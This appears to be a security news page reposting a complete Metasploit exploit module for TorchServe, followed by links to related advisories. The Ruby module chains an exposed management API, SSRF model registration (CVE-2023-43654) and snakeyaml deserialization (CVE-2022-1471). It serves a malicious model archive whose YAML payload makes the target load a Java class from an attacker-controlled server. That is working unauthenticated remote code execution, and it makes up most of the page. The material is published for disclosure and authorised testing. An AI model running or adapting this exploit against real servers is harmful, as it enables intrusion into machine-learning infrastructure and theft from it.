Security
Headlines
HeadlinesLatestCVEs

Headline

PyTorch Model Server Registration / Deserialization Remote Code Execution

The PyTorch model server contains multiple vulnerabilities that can be chained together to permit an unauthenticated remote attacker arbitrary Java code execution. The first vulnerability is that the management interface is bound to all IP addresses and not just the loop back interface as the documentation suggests. The second vulnerability (CVE-2023-43654) allows attackers with access to the management interface to register MAR model files from arbitrary servers. The third vulnerability is that when an MAR file is loaded, it can contain a YAML configuration file that when deserialized by snakeyaml, can lead to loading an arbitrary Java class.

Packet Storm
#vulnerability#google#js#git#java#rce#ssrf#auth#bitbucket#ssl
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'rex/zip'class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::Java  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Remote::Java::HTTP::ClassLoader  def initialize(_info = {})    super(      'Name' => 'PyTorch Model Server Registration and Deserialization RCE',      'Description' => %q{          The PyTorch model server contains multiple vulnerabilities that can be chained together to permit an        unauthenticated remote attacker arbitrary Java code execution. The first vulnerability is that the management        interface is bound to all IP addresses and not just the loop back interface as the documentation suggests. The        second vulnerability (CVE-2023-43654) allows attackers with access to the management interface to register MAR        model files from arbitrary servers. The third vulnerability is that when an MAR file is loaded, it can contain a        YAML configuration file that when deserialized by snakeyaml, can lead to loading an arbitrary Java class.      },      'Author' => [        'Idan Levcovich', # vulnerability discovery and research        'Guy Kaplan', # vulnerability discovery and research        'Gal Elbaz', # vulnerability discovery and research        'Swapneil Kumar Dash', # snakeyaml deserialization research        'Spencer McIntyre' # metasploit module      ],      'References' => [        [ 'URL', 'https://www.oligo.security/blog/shelltorch-torchserve-ssrf-vulnerability-cve-2023-43654' ],        [ 'CVE', '2023-43654' ], # model registration SSRF        [ 'URL', 'https://github.com/pytorch/serve/security/advisories/GHSA-8fxr-qfr9-p34w' ],        [ 'CVE', '2022-1471' ], # snakeyaml deserialization RCE        [ 'URL', 'https://github.com/google/security-research/security/advisories/GHSA-mjmj-j48q-9wg2' ],        [ 'URL', 'https://bitbucket.org/snakeyaml/snakeyaml/issues/561/cve-2022-1471-vulnerability-in' ],        [ 'URL', 'https://swapneildash.medium.com/snakeyaml-deserilization-exploited-b4a2c5ac0858' ]      ],      'DisclosureDate' => '2023-10-03',      'License' => MSF_LICENSE,      'DefaultOptions' => {        'RPORT' => 8081      },      'Targets' => [        [          'Automatic', {            'Platform' => 'java',            'Arch' => [ARCH_JAVA]          }        ],      ],      'Notes' => {        'Stability' => [CRASH_SAFE],        'SideEffects' => [IOC_IN_LOGS],        'Reliability' => [REPEATABLE_SESSION]      }    )  end  def check    res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'api-description'))    return Exploit::CheckCode::Unknown unless res    return Exploit::CheckCode::Safe unless res.code == 200    unless res.get_json_document.dig('info', 'title') == 'TorchServe APIs'      return Exploit::CheckCode::Safe('The TorchServe API was not detected on the target.')    end    version = res.get_json_document.dig('info', 'version')    return Exploit::CheckCode::Detected unless version.present?    unless Rex::Version.new(version) < Rex::Version.new('8.0.2')      return Exploit::CheckCode::Safe("Version #{version} is patched.")    end    Exploit::CheckCode::Appears("Version #{version} is vulnerable.")  end  def class_name    'MyScriptEngineFactory'  end  def constructor_class    ::File.binread(::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-1471', "#{class_name}.class"))  end  def on_request_uri(cli, request)    if request.relative_resource.end_with?("#{@model_name}.mar")      print_good('Sending model archive')      send_response(cli, generate_mar, { 'Content-Type' => 'application/octet-stream' })      return    end    if request.relative_resource.end_with?('services/javax.script.ScriptEngineFactory')      vprint_good('Sending ScriptEngineFactory class name')      send_response(cli, class_name, { 'Content-Type' => 'application/octet-string' })      return    end    super(cli, request)  end  def generate_mar    config_file = rand_text_alphanumeric(8..15) + '.yml'    serialized_file = rand_text_alphanumeric(8..15) + '.pt'    mri = Rex::Zip::Archive.new    mri.add_file(serialized_file, '') # an empty data file is sufficient for exploitation    mri.add_file('MAR-INF/MANIFEST.json', JSON.generate({      'createdOn' => (Time.now - Random.rand(600..1199)).strftime('%d/%m/%Y %H:%M:%S'), # forge a timestamp of 10-20 minutes ago      'runtime' => 'python',      'model' => {        'modelName' => @model_name,        'serializedFile' => serialized_file,        'handler' => %w[image_classifier object_detector text_classifier image_segmenter].sample,        'modelVersion' => '1.0',        'configFile' => config_file      },      'archiverVersion' => '0.8.2'    }))    mri.add_file(config_file, %( !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["#{get_uri}/"]]]] ))    mri.pack  end  def exploit    start_service    @model_name = rand_text_alphanumeric(8..15)    print_status('Registering the model archive...')    # see: https://pytorch.org/serve/management_api.html#register-a-model    send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'models'),      'vars_get' => { # *must* be vars_get and not vars_post!        'url' => "#{get_uri}#{@model_name}.mar"      }    })    handler  end  def cleanup    super    return unless @model_name    # see: https://pytorch.org/serve/management_api.html#unregister-a-model    send_request_cgi({      'method' => 'DELETE',      'uri' => normalize_uri(target_uri.path, 'models', @model_name, '1.0')    })  endend

Related news

Red Hat Security Advisory 2024-0325-03

Red Hat Security Advisory 2024-0325-03 - Updated RHEL-7-based Middleware container images are now available. Issues addressed include code execution and deserialization vulnerabilities.

Warning: PyTorch Models Vulnerable to Remote Code Execution via ShellTorch

Cybersecurity researchers have disclosed multiple critical security flaws in the TorchServe tool for serving and scaling PyTorch models that could be chained to achieve remote code execution on affected systems. Israel-based runtime application security company Oligo, which made the discovery, has coined the vulnerabilities ShellTorch. "These vulnerabilities [...] can lead to a full chain Remote

GHSA-8fxr-qfr9-p34w: TorchServe Server-Side Request Forgery vulnerability

## Impact **Remote Server-Side Request Forgery (SSRF)** **Issue**: TorchServe default configuration lacks proper input validation, enabling third parties to invoke remote HTTP download requests and write files to the disk. This issue could be taken advantage of to compromise the integrity of the system and sensitive data. This issue is present in versions `0.1.0` to `0.8.1`. **Mitigation**: The user is able to load the model of their choice from any URL that they would like to use. The user of TorchServe is responsible for configuring both the [allowed_urls](https://github.com/pytorch/serve/blob/b3eced56b4d9d5d3b8597aa506a0bcf954d291bc/docs/configuration.md?plain=1#L296) and specifying the model URL to be used. A pull request to warn the user when the default value for `allowed_urls` is used has been merged - https://github.com/pytorch/serve/pull/2534. TorchServe release `0.8.2` includes this change. ## Patches ## TorchServe release 0.8.2 includes fixes to address the previou...

CVE-2023-43654: Release TorchServe v0.8.2 Release Notes · pytorch/serve

TorchServe is a tool for serving and scaling PyTorch models in production. TorchServe default configuration lacks proper input validation, enabling third parties to invoke remote HTTP download requests and write files to the disk. This issue could be taken advantage of to compromise the integrity of the system and sensitive data. This issue is present in versions 0.1.0 to 0.8.1. A user is able to load the model of their choice from any URL that they would like to use. The user of TorchServe is responsible for configuring both the allowed_urls and specifying the model URL to be used. A pull request to warn the user when the default value for allowed_urls is used has been merged in PR #2534. TorchServe release 0.8.2 includes this change. Users are advised to upgrade. There are no known workarounds for this issue.

Red Hat Security Advisory 2023-4612-01

Red Hat Security Advisory 2023-4612-01 - Red Hat support for Spring Boot provides an application platform that reduces the complexity of developing and operating applications for OpenShift as a containerized platform. This release of Red Hat support for Spring Boot 2.7.13 serves as a replacement for Red Hat support for Spring Boot 2.7.12, and includes security, bug fixes and enhancements. For more information, see the release notes linked in the References section. Issues addressed include bypass, code execution, denial of service, and deserialization vulnerabilities.

RHSA-2023:4612: Red Hat Security Advisory: Red Hat support for Spring Boot 2.7.13 security update

An update is now available for Red Hat OpenShift Application Runtimes. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-46877: A flaw was found in Jackson Databind. This issue may allow a malicious user to cause a denial of service (2 GB transient heap usage per read) in uncommon situations involving JsonNode JDK serialization. * CVE-2022-1471: A flaw was found in the SnakeYaml package. This flaw allows an attacker to benefit from remote code execution by sending malici...

Red Hat Security Advisory 2023-2097-03

Red Hat Security Advisory 2023-2097-03 - Red Hat Satellite is a systems management tool for Linux-based infrastructure. It allows for provisioning, remote management, and monitoring of multiple Linux deployments with a single centralized tool. Issues addressed include code execution, cross site scripting, denial of service, deserialization, improper neutralization, information leakage, and remote shell upload vulnerabilities.

Red Hat Security Advisory 2023-1513-01

Red Hat Security Advisory 2023-1513-01 - Red Hat JBoss Enterprise Application Platform 7 is a platform for Java applications based on the WildFly application runtime. This release of Red Hat JBoss Enterprise Application Platform 7.4.10 serves as a replacement for Red Hat JBoss Enterprise Application Platform 7.4.9, and includes bug fixes and enhancements. See the Red Hat JBoss Enterprise Application Platform 7.4.10 Release Notes for information about the most significant bug fixes and enhancements included in this release. Issues addressed include code execution, denial of service, deserialization, and information leakage vulnerabilities.

Red Hat Security Advisory 2023-1453-01

Red Hat Security Advisory 2023-1453-01 - An update is now available for Red Hat OpenShift GitOps 1.6. Red Hat Product Security has rated this update as having a security impact of Moderate.

Red Hat Security Advisory 2023-1006-01

Red Hat Security Advisory 2023-1006-01 - This release of Red Hat build of Quarkus 2.7.7 includes security updates, bug fixes, and enhancements. For more information, see the release notes page listed in the References section. Issues addressed include code execution, denial of service, deserialization, information leakage, memory leak, and remote SQL injection vulnerabilities.

RHSA-2023:1006: Red Hat Security Advisory: Red Hat build of Quarkus 2.7.7 release and security update

An update is now available for Red Hat build of Quarkus. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability. For more information, see the CVE links in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2022-1471: A flaw was found in the SnakeYaml package. This flaw allows an attacker to benefit from remote code execution by sending malicious YAML content and this content being deserialized by the constructor. Deserialization is unsafe and leads to Remote Code Execution (RCE). * CVE-2022-3171: A parsing issue with binary data in protobuf-java core an...

Red Hat Security Advisory 2023-0697-01

Red Hat Security Advisory 2023-0697-01 - Red Hat OpenShift Container Platform is Red Hat's cloud computing Kubernetes application platform solution designed for on-premise or private cloud deployments. This advisory contains the RPM packages for Red Hat OpenShift Container Platform 4.10.52. Issues addressed include code execution and deserialization vulnerabilities.

Red Hat Security Advisory 2022-9058-01

Red Hat Security Advisory 2022-9058-01 - Prometheus JMX Exporter is a JMX to Prometheus exporter: a collector that can be configured to scrape and expose MBeans of a JMX target. Issues addressed include code execution and deserialization vulnerabilities.

Red Hat Security Advisory 2022-9032-01

Red Hat Security Advisory 2022-9032-01 - This release of Red Hat build of Eclipse Vert.x 4.3.4 GA includes security updates. For more information, see the release notes listed in the References section. Issues addressed include code execution and deserialization vulnerabilities.

Packet Storm: Latest News

Acronis Cyber Protect/Backup Remote Code Execution